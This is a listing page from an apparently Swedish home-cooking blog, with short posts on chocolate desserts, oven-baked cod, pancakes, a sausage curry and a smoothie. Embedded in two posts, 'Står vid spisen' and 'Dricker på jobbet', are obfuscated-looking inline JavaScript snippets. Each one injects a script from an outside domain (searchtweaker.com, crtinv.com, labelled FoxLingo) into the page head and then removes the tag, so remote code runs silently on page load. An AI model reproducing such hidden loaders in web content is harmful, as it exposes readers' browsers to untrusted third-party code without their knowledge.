Read More
09 mar
Livet hos Hogengård

Drömdessert!

Vispa 3 dl grädde lätt. 0,5 dl grädde och 200 g valfri choklad i en kastrull. (Jag blandade 70% och bättre mjölkchoklad.) Häll i 0,5 dl lönnsirap och två äggulor. Värm till en jämn smet och rör ofta. Låt svalna lite. Vänd ner lite av den vispade grädden. Häll sedan över chokladen i grädden och rör till en jämn smet. Häll upp i glas och in i kylen. Ta fram dem ca 15 minuter innan de ska serveras. Jag serverade mina med jordgubbar marinerade i socker, vanilj och lime. Jag tycker det räcker till 6 personer men det beror...

Read more

Read More
27 feb
Livet hos Hogengård

Fina fisken!

Köpte en bamsestor torskfile' idag. Skar ur ryggbiten och la den i en glasform. På med salt, vitpeppar och timjan. Kokade upp lite vatten och hällde i en skvätt fiskfond. Hällde fondvattnet omkring fisken. Termometer i fiskbiten och på med folie över formen. In i ugnen till fisken är max 55 grader. Något av det godaste jag kan tänka mig att äta och så enkelt att laga.

Read more

Read More
23 feb
Livet hos Hogengård

Står vid spisen

KJ fyller ju år på tisdag så vi har lite middag idag. Det blir en Grekisk gryta med många roliga kryddor i. Riktig vintermat. Men snart är det vår. Solen lyser och hästarna fäller. :) (function(){try{var header=document.getElementsByTagName("HEAD");var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

Read more

Read More
13 dec
Livet hos Hogengård

Amerikanska pannkakor

2 dl vetemjöl 1 dl grahamsmjöl 2 msk strösocker 1 tsk vaniljsocker 0,5 tsk salt 2 tsk bakpulver 2,5 dl mjölk 2 ägg Ca 1-2 dl bär eller riven frukt Blanda alla torra ingredienser. Veva ner mjölken snabbt till en jämn smet. Vispa i äggen och sedan frukt eller bär. Stek i mycket smör. Vänd när det blir små bubblor eller "hål". Jag har alltid haft blåbär i innan. Idag rev jag två söta och slaskiga päron. Låt frusna bär eller sölig frukt rinna av lite först, annars blir det för löst. Blev mycket gott med några droppar lönnsirap. Du kan ta 3 dl vetemjöl men...

Read more

Read More
24 okt
Livet hos Hogengård

Ska icke föraktas

Korv (här bohusgrillare 80% kött) är poppis hos buset. Så även grönsaker. Här har jag fräst lite vitlök och rejält med gul currypasta i olja. Hivade i champinjoner, broccoli och korvslantar. I med grädde eller kokosmjölk, några skvätt fisksås, lime och lite salt. Idag tog jag grädde och därför även en liten klutt honung. Smaka dig fram. Det gör jag. :)

Read more

Read More
04 okt
Livet hos Hogengård

Dricker på jobbet

Hallon, blåbär, banan, honung, lite vaniljpulver, havregryn och en skvätt mjölk. Lite extra pepp för att stärka sjuklingen... !function(){try{var h=document.getElementsByTagName("head");var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

Read more

Read More
18 jun
Livet hos Hogengård

Chokladkräm

2-3 port 1 gelatinblad 80 g äggulor, 3–4 ägg 125 g grädde 125 g mjölk 50 g socker 87,5 g mörk choklad, 70 % Servera med bär Lägg gelatinbladen i kallt vatten. Värm äggulor, grädde, mjölk och socker till 85 grader. Använd termometer. Blandningen skär sig om den blir för het och börjar koka. Rör ner gelatinbladen i den varma smeten. Hacka chokladen grovt och lägg ner i den varma blandningen. Rör om tills chokladen smält. Det ska bli en jämn och härlig chokladkräm. Låt krämen svalna något innan du häller upp den i små glas. Ställ in i kylen. Lägg på rikligt med bär vid servering.

Read more

123